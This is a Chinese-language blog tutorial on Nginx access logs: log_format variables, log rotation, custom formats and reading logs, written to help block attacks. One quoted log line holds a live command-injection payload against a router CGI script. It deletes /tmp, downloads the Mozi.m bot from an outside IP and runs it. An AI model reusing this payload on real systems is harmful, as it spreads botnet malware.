Nginxaccesslog运行日志查询和配置

　　1. 介绍
　　当我们学会Nginx的基本配置之后，可以通过Nginx配置Service代理。管理服务器所有的http和https请求。
　　那么接下来就需要了解Nginx的日志控制，以及相关的文档查看了。
　　你通过阅读相关的日志文档，可以摸清楚当前的网络请求发生了一些什么东西，你也能够看到互联网背后的一些黑暗的地方。
　　以下内容基于zinyan.com 我的博客内容的访问数据做示例进行的介绍。可能有部分偏颇之处望谅解。 2. Nginx 日志配置
　　Nginx的各种配置都是在nginx.conf文件中配置的。我们如果安装Nginx之后没有做太多定制的修改。
　　那么日志文件的地址和日志文件的配置可以在nginx.conf中看到。
　　而且，Nginx默认就会帮我们开启 运行日志 记录和 错误日志 记录这两种情况。这里我们先了解运行日志 access_log 吧。
　　通过vim 命令打开nginx.conf配置文件： [root@iZuf ~]# vim /etc/nginx/nginx.conf
　　在打开的文件中，和http等同一级别的，有一个 error_log /var/log/nginx/error.log notice; 这个就是我们的error错误日志的记录存储目录和相关配置了。
　　而access_log 日志在http标签内。有两个配置项定义了access_log 日志，效果如下： http {    ....     log_format  main  ＂$remote_addr - $remote_user [$time_local] ＂$request＂ ＂                       ＂$status $body_bytes_sent ＂$http_referer＂ ＂                       ＂＂$http_user_agent＂ ＂$http_x_forwarded_for＂＂;      access_log  /var/log/nginx/access.log  main;     ...
　　上面的log_format 定义了日志的格式规范和名称。 下面 access_log 定义了日志的存储路径和应用的规范。
　　例如默认的规范定义为main，所以下面的引用就是main。
　　以上内容，为Nginx 默认就会携带的内容数据。 2.1 log_format
　　这个参数的选项定义了日志记录的文本格式，只有弄明白了这个规范后才能比较明白的阅读access.log 文档。了解在请求过程中发生的事情。
　　用默认示例做一个介绍： log_format  main  ＂$remote_addr - $remote_user [$time_local] ＂$request＂ ＂                       ＂$status $body_bytes_sent ＂$http_referer＂ ＂                       ＂＂$http_user_agent＂ ＂$http_x_forwarded_for＂＂;
　　如果是按照上面的格式定义。那么输出的日志记录将会是： $remote_addr - $remote_user [$time_local] ＂$request＂ $status $body_bytes_sent ＂$http_referer＂ ＂$http_user_agent＂ ＂$http_x_forwarded_for＂＂  访问者Ip地址 - 访问者用户名 [访问服务器的时间] ＂请求的URL和HTTP协议＂ 服务器响应状态 发送给客户端的内容大小 ＂url跳转来源＂ ＂用户终端浏览器等信息＂ ＂HTTP 请求端真实 IP＂
　　例如根据上面的规则，每一条请求日志都会被记录下来。下面是我抓取的一条日志展示如下： 39.173.107.137 - - [17/Nov/2022:09:57:33 +0800] ＂GET /?p=187 HTTP/1.1＂ 200 21893 ＂https://quark.sm.cn/＂ ＂Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile＂ ＂-＂
　　可以看到 ： $remote_addr 访问ip地址是 39.173.107.137。 $remote_user 访问者用户名 是个空的。所以展示的效果就会是 -带表没有值。 $time_local 访问时间，由于模板中使用了[]进行包裹，所以展示效果是：[17/Nov/2022:09:57:33 +0800] 这个时间会携带有时区。 $request 请求的URL地址和使用的HTTP协议，因为它使用了＂＂包裹，所以在日志中展示效果就是：＂GET /?p=187 HTTP/1.1＂。 $status 服务器响应状态，例如404,505,200等。示例请求成功了，所以上面显示的效果就是：200。 $body_bytes_sent 请求内容的大小。如果是网页就会返回网页的大小，如果是文件就会返回文件的大小。例如我的示例返回的就是：21893页面大小。 $http_referer url跳转来源。因为模板中使用了＂＂进行包裹，所以示例代码中显示为：＂https://quark.sm.cn/＂ 也告诉了我这个用户是通过夸克浏览器访问的。 $http_user_agent：用户终端浏览器等信息，会告诉我们用户使用的系统浏览器等信息，由于模板中使用了＂＂对关键字的包裹。所以我的示例中返回的效果就是：＂Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile＂ 我们可以通过上面的信息，知道终端来源于IPhone 设备。 $http_x_forwarded_for HTTP 请求端真实 IP这个字段使用了＂＂进行包裹。但是我的数据没有能够正常返回，所以模板中的内容展示＂-＂。代表这是个空值。
　　总结：
　　通过 ＂＂定义了一窜字符串模板，每个$+变量名就是一个动态参数。最后Nginx就会将这一串字符串存储在access_log 文件中。
　　默认模板中，展示的数据比较少。下面将整个字段进行一个汇总：
　　参数
　　说明
　　示例
　　$remote_addr
　　访问ip地址
　　39.173.107.137 客户的ip地址
　　$remote_user
　　访问者用户名
　　这个是历史遗留的数据了，通常情况下我们得到的都是 —
　　$time_local
　　访问时间
　　样板为：17/Nov/2022:09:57:33 +0800
　　$time_iso8601
　　访问时间
　　样板为：2011-11-17T09:57:33 +0800
　　$request
　　请求的URI和HTTP协议
　　GET /?p=187 HTTP/1.1
　　$http_host
　　请求地址，即浏览器中你输入的地址（IP或域名）
　　zinyan.com
　　$status
　　HTTP请求状态
　　200
　　$upstream_status
　　upstream状态
　　200
　　$body_bytes_sent
　　发送给客户端文件内容大小
　　21893
　　$http_referer
　　url跳转来源
　　https://quark.sm.cn/
　　$http_user_agent
　　用户终端浏览器等信息
　　Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X; zh-cn) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/19C56 Quark/5.4.9.1257 Mobile
　　$http_x_forwarded_for
　　HTTP 请求端真实 IP
　　如果是通过代理访问，那通常会是个空，输出的效果就是：-
　　$ssl_protocol
　　SSL协议版本
　　TLSv3
　　$ssl_cipher
　　交换数据中的算法
　　RC4-SHA
　　$upstream_addr
　　后台upstream的地址，即真正提供服务的主机地址
　　也就是我们的服务器ip地址
　　$request_time
　　整个请求的总时间
　　0.155
　　$upstream_response_time
　　请求过程中，upstream响应时间
　　0.005
　　当我们弄明白了模板的参数意义，就可以阅读自己的access.log文件了。 2.2 access.log
　　日志文档通常存储在：/var/log/nginx/目录下。例如： [root@iZuf ~]# cd /var/log/nginx/ [root@iZuf nginx]# ls access.log              access.log-20221023.gz  error.log-20220927.gz  error.log-20221024.gz access.log-20220927.gz  access.log-20221024.gz  error.log-20220928.gz  error.log-20221025.gz access.log-20220928.gz  access.log-20221025.gz  error.log-20220929.gz  error.log-20221026.gz access.log-20220929.gz  access.log-20221026.gz  error.log-20220930.gz  error.log-20221027.gz access.log-20220930.gz  access.log-20221027.gz  error.log-20221001.gz  error.log-20221028.gz access.log-20221001.gz  access.log-20221028.gz  error.log-20221002.gz  error.log-20221029.gz access.log-20221002.gz  access.log-20221029.gz  error.log-20221003.gz  error.log-20221030.gz access.log-20221003.gz  access.log-20221030.gz  error.log-20221004.gz  error.log-20221031.gz access.log-20221004.gz  access.log-20221031.gz  error.log-20221005.gz  error.log-20221101.gz access.log-20221005.gz  access.log-20221101.gz  error.log-20221006.gz  error.log-20221102.gz access.log-20221006.gz  access.log-20221102.gz  error.log-20221007.gz  error.log-20221103.gz access.log-20221007.gz  access.log-20221103.gz  error.log-20221008.gz  error.log-20221104.gz access.log-20221008.gz  access.log-20221104.gz  error.log-20221009.gz  error.log-20221105.gz access.log-20221009.gz  access.log-20221105.gz  error.log-20221010.gz  error.log-20221106.gz access.log-20221010.gz  access.log-20221106.gz  error.log-20221011.gz  error.log-20221107.gz access.log-20221011.gz  access.log-20221107.gz  error.log-20221012.gz  error.log-20221108.gz access.log-20221012.gz  access.log-20221108.gz  error.log-20221013.gz  error.log-20221109.gz access.log-20221013.gz  access.log-20221109.gz  error.log-20221014.gz  error.log-20221110.gz access.log-20221014.gz  access.log-20221110.gz  error.log-20221015.gz  error.log-20221111.gz access.log-20221015.gz  access.log-20221111.gz  error.log-20221016.gz  error.log-20221112.gz access.log-20221016.gz  access.log-20221112.gz  error.log-20221017.gz  error.log-20221113.gz access.log-20221017.gz  access.log-20221113.gz  error.log-20221018.gz  error.log-20221114.gz access.log-20221018.gz  access.log-20221114.gz  error.log-20221019.gz  error.log-20221115.gz access.log-20221019.gz  access.log-20221115.gz  error.log-20221020.gz  error.log-20221116.gz access.log-20221020.gz  access.log-20221116.gz  error.log-20221021.gz  error.log-20221117 access.log-20221021.gz  access.log-20221117     error.log-20221022.gz access.log-20221022.gz  error.log               error.log-20221023.gz
　　error.log 是属于错误日志，这里就先不解释了。我们主要看access.log日志
　　上面的access.log 里面现在会实时记录当天的请求，同时也会创建一个access.log-2022-11-17文件其实这个文件是复制的上一天的日志。
　　如果你想看当天的请求日志，直接通过access.log文件进行查看就可以了。
　　如果想看之前一段时间的日志，就需要访问指定日期的gz压缩包，进行解压之后访问了。
　　例如上面的示例，我的日志文件记录了9月27日到11月17日这期间的日志。
　　当11月18日到来时，我的9月27日的日志将会被删除。
　　PS：access.log日志默认缓存了4+31+16 = 51天+今天=52天的日志。 2.2.1 配置日志保留时间
　　通常nginx的日志轮询配置文件会存储在 /etc/logrotate.d/nginx 文件中。通过vim命令打开文件：vim /etc/logrotate.d/nginx可以看到下面 /var/log/nginx/*.log {        ...         rotate 52         ... }
　　其中的rotate 就是我们的日志保留时间了。例如我的是52，我们可以根据自己的需求修改为其他整数日期。例如 15,30等天数。
　　修改完毕后，需要执行：
　　logrotate /etc/logrotate.d/nginx让配置生效。就可以了。 2.2.2 日志阅读
　　日志文档的阅读方式有很多，可以在Linux通过cat命令或者vim命令进行阅读。也可以将log导出到本地，通过各种文本工具进行阅读。
　　例如明显发动攻击的： 183.232.170.216 - - [17/Nov/2022:03:32:19 +0800] ＂HEAD /1234.php HTTP/1.1＂ 301 0 ＂-＂ ＂-＂ ＂-＂ 183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] ＂HEAD /1.php HTTP/1.1＂ 301 0 ＂-＂ ＂-＂ ＂-＂ 183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] ＂HEAD /a.php HTTP/1.1＂ 301 0 ＂-＂ ＂-＂ ＂-＂ 183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] ＂HEAD /888.php HTTP/1.1＂ 301 0 ＂-＂ ＂-＂ ＂-＂ 183.232.170.216 - - [17/Nov/2022:03:32:20 +0800] ＂HEAD /admin8.php HTTP/1.1＂ 301 0 ＂-＂ ＂-＂ ＂-＂
　　还有一些是想通过注入执行的。例如下面的想通过在传值中添加rm 和rf指令，然后再通过wget执行下载： 115.62.157.248 - - [17/Nov/2022:16:22:18 +0800] ＂GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://115.62.157.248:55546/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0＂ 301 162 ＂-＂ ＂-＂ ＂-＂
　　等等操作，你会发现我们的服务器从上线发布之后，就有各种的攻击在访问。
　　同时，也会有一些搜索浏览器的爬虫在不断抓取我们的网站。
　　PS：我们可以通过日志得到的一些信息，写拦截配置。这里就不扩展介绍如何写拦截配置了。之后会分享如何配置自己的nginx拦截 2.3 自定义日志Format格式
　　通过上面的分析，我们可以知道nginx默认的log日志有很多参数已经过时了，或者大概率取不到。例如$remote_user ,$http_x_forwarded_for等字段。
　　例如我们自定义一下： log_format  main  ＂Status:$status,Bytes:$body_bytes_sent,IP:$remote_addr,Time:[$time_iso8601],Request:＂$request＂ ,Referer:＂$http_referer＂,UserAgent:＂$http_user_agent＂,RequestTime:[$request_time]＂;
　　然后保存文档，执行nginx -t 检测一下我们配置的命令有没有问题。如果返回 is Successful 就代表没有问题。例如： [root@iZuf nginx]# nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful
　　如果输出： [root@iZuf nginx]# nginx -t nginx: [emerg] unknown ＂remote_addrm＂ variable nginx: configuration file /etc/nginx/nginx.conf test failed
　　就说明有错误了，例如上面就提醒我，输入的一个错误的变量remote_addrm nginx没有这个变量。（PS：我上面的示例是对的，这里只是介绍下如果错误了回出现的情况。）
　　检测通过后，我们就可以执行： service nginx reload 刷新配置了。示例如下： [root@iZuf nginx]# service nginx reload Redirecting to /bin/systemctl reload nginx.service [root@iZuf nginx]#
　　刷新过程中，不会影响前端的访问。等几秒之后，我们再阅读access.log文件就可以看到我们配置后格式的日志清单了。 3. 小结
　　主要介绍了access的一些基本情况和日志内容的阅读。有很多工具可以帮我们自动阅读access.log文本，例如宝塔中的日志阅读，例如阿里云服务器的
　　https://www.aliyun.com/product/sls?source=5176.11533457&userCode=w5jkvc5z 日志服务等都可以一键式管理我们的日志数据，并且提供分析报告。
　　这里只是介绍了，如何阅读日志。我们通过日志得到的ip，请求等等逻辑，可以定制自己的拦截规则。减少和防范攻击。